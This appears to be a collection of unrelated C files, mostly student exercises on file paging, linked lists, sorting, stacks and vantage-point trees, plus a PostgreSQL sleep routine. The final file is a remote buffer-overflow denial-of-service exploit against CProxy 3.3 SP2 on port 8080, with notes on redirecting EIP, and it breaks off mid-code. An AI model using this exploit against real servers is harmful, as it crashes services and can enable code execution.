RC readBlock (int pageNum, SM_FileHandle *fHandle, SM_PageHandle memPage)
{
FILE *myfile;
myfile = fopen(fHandle->fileName, "r");
if(myfile == NULL)
{
return RC_FILE_NOT_FOUND;
}
fseek(myfile, (pageNum * PAGE_SIZE), SEEK_SET);
if(fread(memPage, 1, PAGE_SIZE, myfile) > PAGE_SIZE)
{
return RC_ERROR;
}
fHandle->curPagePos = ftell(myfile);
fclose(myfile);
return RC_OK;
}
//Get Block Position
int getBlockPos (SM_FileHandle *fHandle)
{
return fHandle->curPagePos;
}
//First Block
RC readFirstBlock (SM_FileHandle *fHandle, SM_PageHandle memPage)
{
FILE *myfile;
myfile = fopen(fHandle->fileName, "r+");
if(myfile == NULL)
{
return RC_FILE_NOT_FOUND;
}
int i=0;
while(i<PAGE_SIZE)
{
memPage[i] = fgetc(myfile);
i++;
}
fHandle->curPagePos = ftell(myfile);
fclose(myfile);
return RC_OK;
}
//Previous Block
RC readPreviousBlock (SM_FileHandle *fHandle, SM_PageHandle memPage)
{
int pageNum;
FILE *myfile;
myfile = fopen(fHandle->fileName, "r+");
if(myfile == NULL)
{
return RC_FILE_NOT_FOUND;
}
pageNum = ceil((float)fHandle->curPagePos/(float)PAGE_SIZE);
fseek(myfile,(PAGE_SIZE*(pageNum - 2)),SEEK_SET);
int i=0;
while(i<PAGE_SIZE)
{
memPage[i] = fgetc(myfile);
i++;
}
fHandle->curPagePos = ftell(myfile);
fclose(myfile);
return RC_OK;
}
//Current Block
RC readCurrentBlock (SM_FileHandle *fHandle, SM_PageHandle memPage)
{
int pageNum;
FILE *myfile;
myfile = fopen(fHandle->fileName, "r+");
if(myfile == NULL)
{
return RC_FILE_NOT_FOUND;
}
pageNum = ceil((float)fHandle->curPagePos/(float)PAGE_SIZE);
fseek(myfile,(PAGE_SIZE*(pageNum - 1)),SEEK_SET);
int i=0;
while(i<PAGE_SIZE)
{
memPage[i] = fgetc(myfile);
i++;
}
fHandle->curPagePos = ftell(myfile);
fclose(myfile);
return RC_OK;
}
//Next Block
RC readNextBlock (SM_FileHandle *fHandle, SM_PageHandle memPage)
{
int pageNum;
FILE *myfile;
myfile = fopen(fHandle->fileName, "r+");
if(myfile == NULL)
{
return RC_FILE_NOT_FOUND;
}
pageNum = ceil((float)fHandle->curPagePos/(float)PAGE_SIZE);
fseek(myfile,(PAGE_SIZE*(pageNum)),SEEK_SET);
int i=0;
while(i<PAGE_SIZE)
{
memPage[i] = fgetc(myfile);
i++;
}
fHandle->curPagePos = ftell(myfile);
fclose(myfile);
return RC_OK;
}
//Last Block
RC readLastBlock (SM_FileHandle *fHandle, SM_PageHandle memPage)
{
FILE *myfile;
myfile = fopen(fHandle->fileName, "r+");
if(myfile == NULL)
{
return RC_FILE_NOT_FOUND;
}
fseek(myfile,((fHandle->totalNumPages - 1) * PAGE_SIZE),SEEK_SET);
int i=0;
while(i<PAGE_SIZE)
{
memPage[i] = fgetc(myfile);
i++;
}
fHandle->curPagePos = ftell(myfile);
fclose(myfile);
return RC_OK;
}
//Write Block
RC writeBlock (int pageNum, SM_FileHandle *fHandle, SM_PageHandle memPage)
{
FILE *myfile;
int cur_pos = (pageNum)*PAGE_SIZE;
myfile = fopen(fHandle->fileName, "r+");
if(pageNum!=0)
{
fHandle->curPagePos = cur_pos;
fclose(myfile);
writeCurrentBlock(fHandle,memPage);
}
else
{
fseek(myfile,cur_pos,SEEK_SET);
int i=0;
while(i<PAGE_SIZE)
{
fputc(memPage[i],myfile);
i++;
}
fHandle->curPagePos = ftell(myfile);
fclose(myfile);
}
return RC_OK;
}
//Write Current Block
RC writeCurrentBlock (SM_FileHandle *fHandle, SM_PageHandle memPage)
{
FILE *myfile;
myfile = fopen(fHandle->fileName, "r+");
if(myfile == NULL)
{
return RC_FILE_NOT_FOUND;
}
int curPos;
curPos = fHandle->curPagePos;
fseek(myfile,curPos,SEEK_SET);
fwrite(memPage,1,strlen(memPage),myfile);
fHandle->curPagePos = ftell(myfile);
fclose(myfile);
return RC_OK;
}
//Append Empty Block
RC appendEmptyBlock (SM_FileHandle *fHandle)
{
FILE *myfile;
myfile = fopen(fHandle->fileName,"r");
if(myfile!=NULL)
{
createPageFile(fHandle->fileName);
}
}
//Ensure Capacity
RC ensureCapacity (int numberOfPages, SM_FileHandle *fHandle)
{
int numOfPages;
if (fHandle->fileName == NULL)
{
return RC_FILE_NOT_FOUND;
}
else
{
if (fHandle->totalNumPages < numOfPages)
{
FILE *myfile;
myfile = fHandle->mgmtInfo;
int val = (numOfPages - fHandle->totalNumPages);
SM_PageHandle ph = (SM_PageHandle) malloc(PAGE_SIZE);
int j = 0;
do
{
if(j<val)
{
ph[j]=j%10+'0';
fwrite(ph, PAGE_SIZE, sizeof(ph), myfile);
}
j++;
}while(j!=val);
int i = fseek(myfile,0, SEEK_END);
fHandle->curPagePos = i + 1;
fHandle->totalNumPages = numOfPages;
}
}
return RC_OK;
}
|
C
|
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "lista.h"
#include "fila.h"
/****************************************************/
/* Funcoes a implementar */
/****************************************************/
/*** problema 1.1 ***/
lista* junta_nomes(lista *lst1, lista *lst2)
{
/* complexidade do algoritmo: _____O(N)_________ */
if(lst1==NULL || lst2==NULL){return NULL;}
lista *lsnova;
lsnova=lista_nova();
if(lsnova==NULL){return NULL;}
l_elemento *copiar;
//copiar lista1
for(copiar=lst1->inicio;copiar!=NULL;copiar=copiar->proximo){
if(lista_insere(lsnova,copiar->str,NULL)==NULL){return NULL;}
}
for(copiar=lst2->inicio;copiar!=NULL;copiar=copiar->proximo){
if(lista_insere(lsnova,copiar->str,NULL)==NULL){return NULL;}
}
return lsnova;
}
/*** problema 1.2 ***/
lista* lista_remove_duplicados(lista *lst)
{
if(lst==NULL){return NULL;}
l_elemento *procura,*remover,*aux;
lista *lsnova;
lsnova=lista_nova();
if(lsnova==NULL){return NULL;}
for(procura=lst->inicio;procura!=NULL;procura=procura->proximo){
for(remover=procura->proximo;remover!=NULL;remover=aux){
aux=remover->proximo;
if(strcmp(procura->str,remover->str)==0){
if(lista_insere(lsnova,remover->str,NULL)==NULL){return NULL;}
lista_remove(lst,remover);
}
}
}
if(lsnova->tamanho==0){
lista_apaga(lsnova);
return NULL;
}
else{
return lsnova;
}
}
/*** problema 1.3 ***/
fila* pesquisa_nomes(lista *lst, char *nome)
{
if(lst==NULL){return NULL;}
fila *queue;
queue=fila_nova();
if(queue==NULL){return NULL;}
l_elemento *elemento;
for(elemento=lst->inicio;elemento!=NULL;elemento=elemento->proximo){
if(strstr(elemento->str,nome)!=NULL){
if(fila_push(queue,elemento->str)==-1){return NULL;}
}
}
if(fila_tamanho(queue)==0){fila_apaga(queue); return NULL;}
return queue;
}
/****************************************************/
/* Funcoes ja implementadas (nao modificar) */
/****************************************************/
void lerParaLista(FILE* ficheiro, lista* l)
{
char buffer[256], *nlptr;
if (ficheiro == NULL || l == NULL)
return;
while(fgets(buffer, 255, ficheiro) != NULL)
{
nlptr = strchr(buffer, '\n');
if (nlptr)
*nlptr = '\0';
lista_insere(l,buffer,NULL);
}
}
int main()
{
FILE *f;
lista *l1=NULL, *l2=NULL, *l12=NULL, *l=NULL, *duplicados=NULL;
fila *resultado=NULL;
l_elemento *e;
/* testes */
f = fopen("nomes1.txt","r");
if(f == NULL)
{
printf("Erro ao ler ficheiro de entrada.\n");
return 1;
}
l12 = lista_nova();
l1 = lista_nova();
lerParaLista(f, l1);
rewind(f);
lerParaLista(f, l12);
fclose(f);
f = fopen("nomes2.txt","r");
if(f == NULL)
{
printf("Erro ao ler ficheiro de entrada.\n");
return 1;
}
l2 = lista_nova();
lerParaLista(f, l2);
rewind(f);
lerParaLista(f, l12);
fclose(f);
/* inicio teste prob1.1 */
l = junta_nomes(l1, l2);
if(l)
printf("\nLista resultante contem %d nomes.\n", lista_tamanho(l));
else
printf("\njunta_nomes retornou NULL\n");
/* fim teste prob1.1 */
/* inicio teste prob1.2 */
duplicados = lista_remove_duplicados(l12);
if(duplicados)
{
int n=0;
printf("\nNomes duplicados (total de %d):\n", lista_tamanho(duplicados));
for (e = duplicados->inicio; e != NULL && n<3; e = e->proximo, n++)
printf("%s\n", e->str);
if(lista_tamanho(duplicados)>5)
{
puts("...");
for ( ; e->proximo != NULL; e = e->proximo);
printf("%s\n", e->str);
}
else
for ( ; e != NULL; e = e->proximo)
printf("%s\n", e->str);
if(lista_tamanho(l12) != 302)
printf("Nem todos os nomes duplicados foram removidos da lista (tamanho: %d; esperado: 302)\n", lista_tamanho(l12));
}
else
printf("\nlista_remove_duplicados retornou NULL\n");
/* fim teste prob1.2 */
/* inicio teste prob1.3 */
resultado = pesquisa_nomes(l1, "SILVA");
if(resultado)
{
int n=0;
printf("\nNomes encontrados (%d): \n", fila_tamanho(resultado));
while (!fila_vazia(resultado) && n<3) {
printf("%s\n", fila_front(resultado));
fila_pop(resultado);
n++;
}
if(fila_tamanho(resultado) > 2)
{
puts("...");
while (fila_tamanho(resultado) > 1)
fila_pop(resultado);
printf("%s\n", fila_front(resultado));
fila_pop(resultado);
}
else {
while (!fila_vazia(resultado)) {
printf("%s\n", fila_front(resultado));
fila_pop(resultado);
}
}
}
else
printf("\npesquisa_nomes retornou NULL\n\n");
/* fim teste prob1.3 */
lista_apaga(l);
lista_apaga(l1);
lista_apaga(l12);
lista_apaga(l2);
lista_apaga(duplicados);
fila_apaga(resultado);
return 0;
}
|
C
|
//
// mcLab.c
// Aryan Amberkar Best Portfolio
//
// Created by Amberkar, Aryan on 10/4/19.
// Copyright © 2019 Amberkar, Aryan. All rights reserved.
//
int multiplechoiceLab(void){
char inputAnswer;
//simple script to get user input to choose which lab they'd like
int validInput, questionAnswered;
questionAnswered = 0;
//while (endOrNo == 0) {
// Question 1
validInput = 0;
printf("\n"); // provide space after previous lab
printf("---------------------------------\n");
printf("| 1. Who fuction displays text? |\n");
printf("|-------------------------------|\n");
printf("|Options: | \n");
printf("| A. scanf | \n");
printf("| B. printf | \n");
printf("| C. if,then | \n");
printf("| D. NO SUCH FUNCTION EXISTS | \n");
printf("| Select your answer: | \n");
printf("----------------------------------\n");
while (validInput == 0) {
scanf("%s", &inputAnswer);
if (inputAnswer == 'B') {
validInput = 1;
printf("Correct Answer!\n");
}
else
{
validInput = 0;
printf("Incorrect answer, please try again\n");
}
}
// Question 2
validInput = 0;
printf("\n"); // provide space after previous lab
printf("----------------------------------------\n");
printf("| 2. What function recalls user input? |\n");
printf("|---------------------------------------|\n");
printf("|Options: | \n");
printf("| A. scan(f) | \n");
printf("| B. print(f) | \n");
printf("| C. f(x) = 1 | \n");
printf("| D. NO SUCH FUNCTION EXISTS | \n");
printf("| Select your answer: | \n");
printf("------------------------------------------\n");
while (validInput == 0) {
scanf("%s", &inputAnswer);
if (inputAnswer == 'A') {
validInput = 1;
printf("Correct Answer!\n");
}
else
{
validInput = 0;
printf("Incorrect answer, please try again\n");
}
}
// Question 3
validInput = 0;
printf("\n"); // provide space after previous lab
printf("--------------------------------------------\n");
printf("| 3. What number binary code 110 represent? |\n");
printf("|-------------------------------------------|\n");
printf("|Options: | \n");
printf("| A. 3 | \n");
printf("| B. 12 | \n");
printf("| C. 6 | \n");
printf("| D. 9 | \n");
printf("| Select your answer: | \n");
printf("----------------------------------------------\n");
while (validInput == 0) {
scanf("%s", &inputAnswer);
if (inputAnswer == 'C') {
validInput = 1;
printf("Correct Answer!\n");
}
else
{
validInput = 0;
printf("Incorrect answer, please try again\n");
}
}
//}
return 0;
}
|
C
|
#pragma once
#include <elf.h>
#include <stddef.h>
#include <stdlib.h>
typedef void (*note_handler)(off_t offset, int type, size_t namesz, size_t descsz,
const char *name, const char *desc, void *aux);
struct core_loc {
off_t offset;
size_t size;
};
struct mapped_file {
struct core_loc path;
size_t start, end, file_offset;
};
struct parsed_notes {
struct elf_prstatus *prstatus;
struct mapped_file *mapped_files;
size_t mapped_file_count;
struct user_desc *ldts;
size_t ldt_count;
size_t page_size;
};
/** Calls handler for each note in [start, end) */
void iter_notes(off_t offset, const char *start, const char *end, note_handler handler, void *aux);
/** A note_handler which fills the parsed_notes struct */
void handle_note(off_t offset, int type, size_t namesz, size_t descsz, const char *name, const char *desc, void /* struct parsed_notes */ *aux);
|
C
|
/**
* Author : Nikhil Parekh
* Created : 2020-12-04 15:46:58
* Link : GitHub.com/parekhnikhil47
* Question :
**/
#include <stdio.h>
int main()
{
int a, b;
float c, d;
scanf("%i %i", &a, &b);
scanf("%f %f", &c, &d);
printf("%i %i\n", (a + b), (a - b));
printf("%.1f %.1f\n", (c + d), (c - d));
return 0;
}
|
C
|
#include<stdio.h>
int main()
{
int n,i,sum=0;
scanf("%d",&n);
for(i=1;sum<=n;i++)
{
sum=sum+((i*(i+1))/2);
}
printf("%d",(i-2));
}
|
C
|
//
// Text.c
// ShootThemUp
//
// Created by El-idrissi Elyas on 28/11/2019.
// Copyright © 2019 El-idrissi Elyas. All rights reserved.
//
#include "Text.h"
void Text_Draw(char * str, int x, int y, TextAlign textAlign, int size, char * fontStr, SDL_Color color, Window * window, TextureManager * tm)
{
TTF_Font * font = TextureManager_GetFont(tm, fontStr, size);
if(font)
{
SDL_Rect texr = {x, y, 0, 0};
TTF_SizeUTF8(font, str, &texr.w, &texr.h);
if(textAlign == TextCenter) texr.x -= texr.w/2;
if(textAlign == TextRight) texr.x -= texr.w;
SDL_Surface * surface = TTF_RenderUTF8_Blended(font, str, color);
SDL_Texture * texture = SDL_CreateTextureFromSurface(window->renderer, surface);
SDL_RenderCopy(window->renderer, texture, NULL, &texr);
SDL_FreeSurface(surface);
SDL_DestroyTexture(texture);
}
}
|
C
|
#include <stdio.h>
int main()
{
int i=10, j=20;
float f=1.2f, g=2.4f;
printf("i+j=%d\n",i+j);
printf("f+g=%.1f\n",f+g);
printf("i-j=%d\n",i-j);
printf("g-f=%.1f\n",g-f);
printf("j-f=%d\n",j-f);
printf("j-f=%.1f\n",j-f);
return 0;
}
|
C
|
/*-------------------------------------------------------------------------
*
* pgsleep.c
* Portable delay handling.
*
*
* Portions Copyright (c) 1996-2019, PostgreSQL Global Development Group
*
* src/port/pgsleep.c
*
*-------------------------------------------------------------------------
*/
#include "c.h"
#include <unistd.h>
#include <sys/time.h>
#ifdef HAVE_SYS_SELECT_H
#include <sys/select.h>
#endif
/*
* In a Windows backend, we don't use this implementation, but rather
* the signal-aware version in src/backend/port/win32/signal.c.
*/
#if defined(FRONTEND) || !defined(WIN32)
/*
* pg_usleep --- delay the specified number of microseconds.
*
* NOTE: although the delay is specified in microseconds, the effective
* resolution is only 1/HZ, or 10 milliseconds, on most Unixen. Expect
* the requested delay to be rounded up to the next resolution boundary.
*
* On machines where "long" is 32 bits, the maximum delay is ~2000 seconds.
*
* CAUTION: the behavior when a signal arrives during the sleep is platform
* dependent. On most Unix-ish platforms, a signal does not terminate the
* sleep; but on some, it will (the Windows implementation also allows signals
* to terminate pg_usleep). And there are platforms where not only does a
* signal not terminate the sleep, but it actually resets the timeout counter
* so that the sleep effectively starts over! It is therefore rather hazardous
* to use this for long sleeps; a continuing stream of signal events could
* prevent the sleep from ever terminating. Better practice for long sleeps
* is to use WaitLatch() with a timeout.
*/
void
pg_usleep(long microsec)
{
if (microsec > 0)
{
#ifndef WIN32
struct timeval delay;
delay.tv_sec = microsec / 1000000L;
delay.tv_usec = microsec % 1000000L;
(void) select(0, NULL, NULL, NULL, &delay);
#else
SleepEx((microsec < 500 ? 1 : (microsec + 500) / 1000), FALSE);
#endif
}
}
#endif /* defined(FRONTEND) || !defined(WIN32) */
|
C
|
#include<stdio.h>
#include<stdlib.h>
#include "pilha.h"
pilha * criaPilha(int tam){
pilha * p = malloc(sizeof(pilha));
p->topo = 0;
p->tam = tam;
p->valor = malloc(tam * sizeof(int));
if(p->valor == NULL){
return(NULL);
}
return(p);
}
void destroiPilha(pilha * p){
free(p->valor);
free(p);
}
void empilha(pilha * p, int n){
if(p->topo == p->tam){
p = aumentaPilha(p);
}
p->valor[p->topo] = n;
p->topo++;
}
int desempilha(pilha * p){
if(!pilhaVazia(p)){
p->topo--;
return(p->valor[p->topo]);
}
}
int pilhaVazia(pilha * p){
return(p->topo == 0);
}
int topoPilha(pilha * p){
if(!pilhaVazia(p)){
return(p->valor[p->topo - 1]);
}
}
pilha * aumentaPilha(pilha * p){
int tam_n = 2 * p->tam;
int * nova = malloc(tam_n * sizeof(int));
int i = 0;
for(i; i < p->topo; i++){
nova[i] = p->valor[i];
}
p->valor = nova;
p->tam = tam_n;
return(p);
}
void imprimePilha(pilha * p){
int i = 0;
for(i; i < p->topo; i++){
printf("%d ", p->valor[i]);
}
printf("\n");
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
int main(void){
float temp, fare;
printf("Digite a temperatura em Celsius: ");
scanf("%f", &temp);
fare = temp * (9.00/5.00) + 32.0;
printf("%.0f em Graus Fahrenheit sao %.1f", temp, fare);
return 0;
}
|
C
|
/**
* mpweb.c -- программа для перемещения курсора
* в конец предыдущего слова
*
* Copyright (c) 2017, Artem Zaicev <zaicev@cs.karelia.ru>
*
* This code licensed under a MIT-style license
*/
#include <stdio.h>
#include <string.h>
#include <stdbool.h>
#include "text/text.h"
#include "common.h"
//проверяет, является ли символ пробельным разделителем
bool is_sep(char c);
//по возможности перемещаем курсор в конец
//предыдущего слова
void mpweb(text txt)
{
int crsr_pos = pos_return(txt);
int crsr_line = currentline(txt);
char* crsr_line_contents = line_contents(txt, crsr_line);
if (crsr_line_contents == NULL){
fprintf (stderr, "Cursor not found\n");
return;
}
while (crsr_line >= 0){
while (crsr_pos > 0){
if (is_sep(crsr_line_contents[crsr_pos - 1]))
break;
crsr_pos--;
}
while (crsr_pos > 0){
if (!is_sep(crsr_line_contents[crsr_pos - 1])){
c_to_pos(txt, crsr_line, crsr_pos);
return;
}
crsr_pos--;
}
crsr_line--;
if (crsr_line >= 0){
crsr_line_contents = line_contents(txt, crsr_line);
crsr_pos = strlen(crsr_line_contents);
}
}
fprintf (stderr, "Previous word not found\n");
c_to_pos(txt, 0, 0);
return;
}
bool is_sep(char c)
{
if (c == ' ' || c == '\n' || c == '\t')
return true;
return false;
}
|
C
|
// card.c
/*
0 1 2 3
DIA(R) HRT(R) SPD(B) CLB(B)
0~12 13~25 26~38 39~51
*/
#include "solitaire.h"
const int kMaxCardNumber = 13;
const int kNumberOfColor = 2;
const int kNumberOfShape = 4;
int GetCardNumber(int card);
Shape GetCardShape(int card);
Color GetCardColor(int card);
int GetCard(int number, Shape shape);
/* Check the rule to place a card on another card in piles. */
int IsAddableCardToCard(int below, int above);
int GetCardNumber(int card) {
int number = card % kMaxCardNumber + 1;
return number;
}
Shape GetCardShape(int card) {
return card / kMaxCardNumber;
}
Color GetCardColor(int card) {
return card / (kMaxCardNumber * kNumberOfColor);
}
int GetCard(int number, Shape shape) {
return kMaxCardNumber * shape + number - 1;
}
int IsAddableCardToCard(int below, int above) {
int below_number = GetCardNumber(below);
int above_number = GetCardNumber(above);
Color below_color = GetCardColor(below);
Color above_color = GetCardColor(above);
if (below_number != above_number + 1)
return 0;
if (below_color == above_color)
return 0;
return 1;
}
|
C
|
#include<stdio.h>
#include<stdlib.h>
void create(int **,int);
void input(int *,int);
void output(int *,int);
void heapsort(int *, int);
void build_max_heap(int *, int);
void max_heapify(int *, int, int);
int main()
{
system("clear");
int *a;
int n,item,pos;
printf("\nEnter size of the list: ");
scanf("%d",&n);
create(&a,n);
printf("\nEnter %d elements\n",n);
input(a,n);
heapsort(a,n);
printf("\nArray after sorting :\n");
output(a,n);
printf("\n");
return(0);
}
void create(int **a,int n)
{
*a=(int*)calloc(n,sizeof(int));
}
void input(int *a,int n)
{
int i;
for(i=0;i<n;i++)
scanf("%d",(a+i));
}
void output(int *a,int n)
{
int i;
for(i=0;i<n;i++)
printf("%5d",*(a+i));
}
void max_heapify(int *a,int i, int n)
{
int child, item, par;
child = 2*i;
item = a[i];
while(child<=n-1)
{
if(child<n && a[child]<a[child+1])
child = child + 1;
if(item >= a[child])
break;
par = child/2;
a[par]=a[child];
child=2*child;
}
par=child/2;
a[par]=item;
return;
}
void build_max_heap(int *a, int n)
{
int i;
for(i=((n-1)/2)-1;i>=0;i--)
max_heapify(a,i,n);
return;
}
void heapsort(int *a, int n)
{
int i, temp;
build_max_heap(a,n);
for(i=n-1;i>=1;i--)
{
temp=a[0];
a[0]=a[i];
a[i]=temp;
max_heapify(a,0,i-1);
}
return;
}
|
C
|
#include <stdio.h>
#include <stdbool.h>
void next_line(char to[]);
int count_length(char charArray[]);
int main(){
char charArray[100];
for(int i = 0; i < 2; i++){
next_line(charArray);
int index = 0;
int length = count_length(charArray);
for(int j = 0; j < 5; j ++){
putchar(charArray[j]);
}
}
return 0;
}
int count_length(char charArray[]){
int length = 0;
while(charArray[length] != '\0'){
length ++;
}
return length;
}
void next_line(char to[]){
int character;
int index = 0;
while((character = getchar()) != EOF && character != '\r'){
to[index] = character;
//printf("%d", to[index]);
index ++;
}
getchar();
to[index] = '\0';
}
|
C
|
#include <stdlib.h>
#include <math.h>
#include <assert.h>
#include <pthread.h>
#include "vptree.h"
#define MAX_DIST_THRDS 10
#define DIST_THRD_THRES 10000*10
#define VPT_THRD_THRESS 1000*10
#define IDX(d, i, k) i*d + k
typedef struct {
// The return field
double *dist;
// The input fields
double *X;
double *vp;
int n;
int d;
} d_arg;
typedef struct {
vptree *T;
double *X;
int *indexes;
int n;
int d;
} v_arg;
//! Return the distance between 2 points
/*!
\param x1 The first point
\param x2 The second point
\param d The dimentions of the points
\return The distance from point x1 to x2 (double)
*/
double distance (double *x1, double *x2, int d) {
double dist = 0;
for(int k = 0; k < d; k++) {
dist += pow( x1[k]-x2[k], 2 );
}
dist = sqrt(dist);
return dist;
}
//! Return an array with the distances of every point in X,
//! to the last point in X
/*!
\param dist Pointer to the array where the sitances will be stored
\param X The set of points
\param vp The Vantage Point, the distance will be calculated
\ with respect to the vp
\param n The number of points
\param d The dimentions of the points
\return void
*/
void compute_distances(double *dist, double *X, double *vp, int n, int d) {
for(int i=0; i < n-1; i++) {
dist[i] = distance(X + IDX(d,i,0), vp, d);
}
return;
}
//! Wraps the compute_distances function, to be callable as pthread
/*!
\param arg_void Pointer to a d_arg struct that contains the arguments for
compute_distances()
*/
void *compute_distance_wrapper(void* arg_void) {
d_arg *arg = (d_arg*)arg_void;
compute_distances(arg->dist, arg->X, arg->vp, arg->n, arg->d);
return NULL;
}
//! Return an array with the distances of every point in X,
//! to the last point in X.
//! But does the computation in PARALLEL
/*!
\param dist Pointer to the array where the sitances will be stored
\param X The set of points
\param vp The Vantage Point, the distance will be calculated
\ with respect to the vp
\param n The number of points
\param d The dimentions of the points
\return void
*/
void compute_distances_parallel(double *dist, double *X, double *vp, int n, int d) {
if (n*d < DIST_THRD_THRES) {
compute_distances(dist,X,vp,n,d);
return;
}
int T = MAX_DIST_THRDS;
pthread_t thrds[T];
d_arg *args[T];
for(int j = 0; j < T; j++) {
args[j] = malloc(sizeof(d_arg));
args[j]->dist = dist + j*(n/T);
args[j]->X = X + d * j*(n/T);
args[j]->vp = vp;
args[j]->n = n/T;
args[j]->d = d;
pthread_create(&thrds[j], NULL, compute_distance_wrapper, (void*)args[j]);
//printf("Thread %d has result: %d\n", j, r);
}
compute_distances(dist+T*(n/T), X+d*T*(n/T), vp, n%T, d);
for(int j = 0; j < T; j++) {
pthread_join(thrds[j],NULL);
}
return;
}
//! Returns the element of which k elements are less than or equal
/*!
\param dist The array of elements
\param n The number of the elements
\param k The dimentions of the points
\return The k-th element
*/
double quickSelect (double *dist, int n, int k) {
int start = 0;
int end = n;
while (start != end) {
//
// PARTITION
//
double pivot = dist[end-1];
int i = start-1;
for (int j = start; j < end-1; j++) {
if ( dist[j] <= pivot ) {
i++;
double tmp_d = dist[j];
dist[j] = dist[i];
dist[i] = tmp_d;
}
}
double tmp_d= dist[i+1];
dist[i+1] = dist[end-1];
dist[end-1] = tmp_d;
i++;
//
// SELECT
//
if (i == k) {
return dist[i];
}
else if (i < k){
start = i+1;
}
else {
end = i;
}
}
return dist[start];
}
void* vpt_wrapper (void *arg_void) {
double *X = ((v_arg*)arg_void)->X;
int *indexes = ((v_arg*)arg_void)->indexes;
int n = ((v_arg*)arg_void)->n;
int d = ((v_arg*)arg_void)->d;
((v_arg*)arg_void)->T = vpt(X,indexes,n,d);
return NULL;
}
//! Returns the Vantage Point Tree
/*!
\param X The set of points
\param indexes The indexes of the points
\param n The number of the points
\param d The dimentions of the points
\return The VPT tree
*/
vptree *vpt (double *X, int *indexes, int n, int d) {
vptree *T = malloc(sizeof(vptree));
if(n == 0) {
return NULL;
}
int vp_idx = indexes[n-1];
T->vp = malloc(d*sizeof(double));
for(int k=0; k<d; k++) { T->vp[k] = X[ d*(n-1)+k];}
T->idx = vp_idx;
if(n==1) {
T->md = 0;
T->inner = NULL;
T->outer = NULL;
return T;
}
double *dist = malloc( (n-1)*sizeof(double) );
compute_distances_parallel(dist, X, T->vp, n, d);
double median = quickSelect(dist,n-1,(n-1)/2);
T->md = median;
free(dist);
// partition to inner and outer elements
int i = -1;
for(int j = 0; j < n-1; j++) {
double D = distance(X+IDX(d,j,0), T->vp, d);
if( D <= T->md ) {
i++;
for(int k = 0; k < d; k++) {
double tmp_x = X[ IDX(d,j,k) ];
X[ IDX(d,j,k) ] = X[ IDX(d,i,k) ];
X[ IDX(d,i,k) ] = tmp_x;
}
// -------------- //
int tmp_i = indexes[j];
indexes[j] = indexes[i];
indexes[i] = tmp_i;
}
}
if (n*d > VPT_THRD_THRESS) {
pthread_t inner_thrd;
v_arg *arg = malloc(sizeof(v_arg));
arg->X = X;
arg->indexes = indexes;
arg->n = i+1;
arg->d = d;
pthread_create(&inner_thrd,NULL,vpt_wrapper, (void*)arg);
T->outer = vpt(X+d*(i+1), indexes+(i+1), (n-1)-(i+1), d);
pthread_join(inner_thrd,NULL);
T->inner = arg->T;
}
else {
T->inner = vpt(X, indexes, i+1, d);
T->outer = vpt(X+d*(i+1), indexes+(i+1), (n-1)-(i+1), d);
}
return T;
}
//! Build vantage-point tree given input dataset X
/*!
\param X Input data points, stored as [n-by-d] array
\param n Number of data points (rows of X)
\param d Number of dimensions (columns of X)
\return The vantage-point tree
*/
vptree * buildvp (double *X, int n, int d) {
vptree *T;
double *Y = malloc(n*d*sizeof(double));
int *indexes = malloc(n*sizeof(int));
for(int p=0; p < n; p++) {
indexes[p] = p;
for(int k=0; k < d; k++){
Y[ IDX(d,p,k) ] = X[ IDX(d,p,k) ];
}
}
T = vpt(Y, indexes, n, d);
return T;
}
//! Return vantage-point subtree with points inside radius
/*!
\param node A vantage-point tree
\return The vantage-point subtree
*/
vptree * getInner (vptree * T) {
return T->inner;
}
//! Return vantage-point subtree with points outside radius
/*!
\param node A vantage-point tree
\return The vantage-point subtree
*/
vptree * getOuter (vptree * T) {
return T->outer;
}
//! Return median of distances to vantage point
/*!
\param node A vantage-point tree
\return The median distance
*/
double getMD (vptree * T) {
return T->md;
}
//! Return the coordinates of the vantage point
/*!
\param node A vantage-point tree
\return The coordinates [d-dimensional vector]
*/
double * getVP (vptree * T) {
return T->vp;
}
//! Return the index of the vantage point
/*!
\param node A vantage-point tree
\return The index to the input vector of data points
*/
int getIDX (vptree * T) {
return T->idx;
}
|
C
|
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void) {
printf("\nPid do arquivo: %d\n", getpid());
}
|
C
|
source: http://www.securityfocus.com/bid/1213/info
A buffer overflow DoS vulnerability exists in CProxy Server 3.3 Service Pack 2
/*
* Remote Denial of Service for CProxy v3.3 - Service Pack 2
*
* (C) |[TDP]| - HaCk-13 TeaM - 2000 <tdp@psynet.net>
*
*
* This program xploits an overflow vulnerability in CProxy 3.3 SP2
* HTTP Service (8080), causing server shutdown
*
* Greetings to all the other members and all my friends :)
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define BUFFERSIZE 247
#define NOP 0x90
// If you change this values you can change EIP and EBP values
// to redirect to a code that you want >;)
#define EIP 0x61616161
#define EBP 0x61616161
void usage(char *progname) {
fprintf(stderr,"Usage: %s <hostname> [eip] [ebp]\n",progname);
exit(1);
}
int main(int argc, char **argv) {
char *ptr,buffer[BUFFERSIZE], remotedos[1024];
unsigned long *long_ptr,eip=EIP, ebp=EBP;
int aux,sock;
struct sockaddr_in sin;
unsigned long ip;
struct hostent *he;
fprintf(stderr,"\n-= Remote DoS for CProxy v3.3 ServicePack 2 - (C) |[TDP]| - H13 Team =-\n");
if (argc<2) usage(argv[0]);
if (argc>=3) eip+=atol(argv[2]);
if (argc>=4) ebp+=atol(argv[3]);
ptr=buffer;
memset(ptr,0,sizeof(buffer));
memset(ptr,NOP,sizeof(buffer)-8);
ptr+=sizeof(buffer)-8;
long_ptr=(unsigned long*)ptr;
*(long_ptr++) = ebp;
*(long_ptr++) = eip;
ptr=(char *)long_ptr;
*ptr='\0';
bzero(remotedos, sizeof(remotedos));
snprintf(remotedos, sizeof(remotedos), "GET http://%s HTTP/1.0\r\n\r\n\r\n",buffer);
if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
perror("socket()");
return -1;
}
if ((he = gethostbyname(argv[1])) != NULL) {
ip = *(unsigned long *)he->h_addr;
} else {
if ((ip = inet_addr(argv[1])) == NULL) {
perror("inet_addr()");
return -1;
}
}
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = ip;
sin.sin_port = htons(8080);
fprintf(stderr,"\nEngaged...\n");
if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
